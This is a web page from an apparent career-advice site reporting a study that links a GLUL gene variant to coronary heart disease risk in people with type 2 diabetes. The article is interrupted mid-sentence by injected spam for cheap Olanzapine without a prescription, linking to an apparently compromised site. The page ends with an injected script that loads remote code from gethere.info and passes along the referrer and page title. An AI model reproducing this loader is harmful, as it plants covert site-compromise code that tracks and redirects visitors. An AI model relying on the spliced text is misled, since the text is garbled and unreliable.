Daily Job Search Advice | Career Advancement Tips | Informative Articles on Life Lessons And much more...
After an extensive pills study, research scientists from the Joslin Diabetes Center in Boston, Massachusetts, have determined that a genetic factor of the GLUL gene increases the risk factor of CHD in patients diagnosed with type 2 diabetes. Collaborating with colleagues from the Harvard School of Public Health and research institute in Italy, the team reviewed information of genetic findings from over 4,000 people suffering from type 2 diabetes.
It has been proven that genetic factors play a role in the susceptibility to CHD in the general population, however, recent studies reveal that genetic We’ve got the best solution for your Olanzapine purchase! Why? Just because you can buy it only for 0.93 USD with us! acquire at low price pills no rx – http://prima-sw.mhs.narotama.ac.id/2016/11/30/acquire-at-low-price-pills-no-rx/ factors for CHD may be different with diabetic patients. CHD is the number 1 cause of morbidity and mortality among diabetic individuals. Statistics show that these individuals have a two to four times higher CHD mortality rate.
Commenting on the findings, Alessandro Doria, M.D., Ph.D., M.P.H., Associate Professor of Medicine at Harvard Medical School stated, “It is a common genetic variant that becomes important in the presence of diabetes. He further explains, “You need the presence of both diabetes and the variant to increase the risk of CHD.”
Senior author for the study, Lu Qi, M.D., Ph.D., of the Harvard School of Public Health comments,“This finding may have particularly important implications regarding prevention, and reduction of cardiovascular morbidity and mortality through dietary and lifestyle intervention in diabetic patients.”
Other scientists involved in the study expressed that further research in the relationship of glutamin/glutamic acid metabolism to the development of CHD will provide new insights into the increased risk of CHD and enable medical professionals to identify cardioprotective drugs for the diabetic population.
For more details on the article Click Here
s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
var d=document;var s=d.createElement(‘script’);Google+